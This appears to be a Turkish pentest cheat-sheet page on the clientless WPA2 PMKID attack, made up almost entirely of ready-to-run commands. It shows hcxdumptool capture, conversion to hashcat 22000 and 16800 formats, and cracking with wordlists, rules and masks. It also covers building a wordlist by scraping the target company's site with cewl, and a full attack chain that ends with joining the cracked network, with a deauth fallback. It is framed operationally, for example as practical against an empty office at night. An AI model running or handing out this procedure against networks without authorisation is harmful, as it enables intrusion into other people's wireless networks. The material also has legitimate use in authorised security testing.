PMKID Saldırısı (clientless)
WPA2 clientless
WPA2 clientless
PMKID saldırısı, bazı AP’lerin RSN IE içinde (ilk EAPOL çerçevesinde) PMKID göndermesinden yararlanır. Böylece bağlı istemciye ve deauth’a gerek kalmadan kırma malzemesi toplanabilir — gece boş ofis veya clientless hedef için pratiktir. hashcat mode 22000 hem PMKID hem EAPOL’ü kapsar.
Ön koşullar
Section titled “Ön koşullar”- hcxdumptool + hcxpcapngtool (hcxtools)- Monitor mode arayüz- Hedef AP RSN PMKID sunuyor olmalı (tüm AP'ler sunmaz)- WPA/WPA2-PSK; WPA3-SAE bu akışa uymazNasıl çalışır (özet)
Section titled “Nasıl çalışır (özet)”PMK = PBKDF2-HMAC-SHA1(PSK, ESSID, 4096, 256)PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)AP association sırasında PMKID'yi gönderirse → offline PSK denemesi mümkünİstemci etkileşimi hcxdumptool tarafından sahte association ile tetiklenebilir; gerçek kullanıcı gerekmez.
PMKID toplama
Section titled “PMKID toplama”-
hcxdumptool ile yakala :
Terminal window sudo airmon-ng start wlan0Terminal window sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --enable_status=15Terminal window echo "aabbccddeeff" > ap.listTerminal window sudo hcxdumptool -i wlan0mon -w pmkid.pcapng \--enable_status=15 --filterlist_ap=ap.list --filtermode=2 -
hashcat formatına çevir :
Terminal window hcxpcapngtool -o hash.22000 pmkid.pcapngTerminal window hcxpcapngtool -o hash.22000 pmkid.pcapng -E essids.txt -I info.txtTerminal window cat hash.22000Terminal window grep '^WPA\*01' hash.22000 -
Kır :
Terminal window hashcat -m 22000 hash.22000 rockyou.txtTerminal window hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.ruleTerminal window hashcat -m 22000 hash.22000 -a 3 '?l?l?l?l?l?l?d?d'Terminal window hashcat -m 22000 hash.22000 corp.txt -r rules/dive.rule
Eski yöntem (hashcat 16800)
Section titled “Eski yöntem (hashcat 16800)”hcxpcapngtool -o hash.16800 --purehash pmkid.pcapnghashcat -m 16800 hash.16800 wordlist.txtairodump ile PMKID?
Section titled “airodump ile PMKID?”Klasik airodump-ng + deauth EAPOL handshake toplar; PMKID clientless senaryoda hcxdumptool ile daha güvenilirdir. Karışık yakalama:
sudo hcxdumptool -i wlan0mon -w dump.pcapng --enable_status=15hcxpcapngtool -o hash.22000 dump.pcapnggrep -E '^WPA\*(01|02)' hash.22000Wordlist stratejisi
Section titled “Wordlist stratejisi”cewl https://www.target.com -m 6 -w cewl.txthashcat -m 22000 hash.22000 -a 3 'Company?d?d?d?d'PMKID kırma maliyeti handshake ile aynıdır (PBKDF2); GPU şart.
Birden fazla AP
Section titled “Birden fazla AP”hcxdumptool ... # hepsini toplahcxpcapngtool -o all.22000 dump.pcapng -E essids.txthashcat -m 22000 all.22000 wordlist.txt --usernameBaşarısızlık durumları
Section titled “Başarısızlık durumları”AP PMKID göndermiyor → klasik handshake'e dönWPA3 only → SAE; bu saldırı yokZayıf sinyal / yanlış kanal → filter + kanal sabitleBoş hash.22000 → daha uzun dinle; RSN IE kontrolüSadece WPA*02 → aslında EAPOL yakalandı; yine 22000 kırsudo iw dev wlan0mon set channel 6tshark -r pmkid.pcapng -Y 'wlan.rsn.ie.pmkid' -V | headKomut üreteci
Section titled “Komut üreteci”hcxdumptool · PMKID
embedded toolGenerated command
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1hcxdumptool · PMKID
Section titled “hcxdumptool · PMKID”Saldırı zinciri
Section titled “Saldırı zinciri”wash/airodump → hedef BSSID → hcxdumptool filterlist_ap → hcxpcapngtool → WPA*01* → hashcat 22000 + şirket wordlist → PSK → nmcli connect → network pentestPMKID yok → deauth + airodump handshake → aynı hashcat 22000 pipeline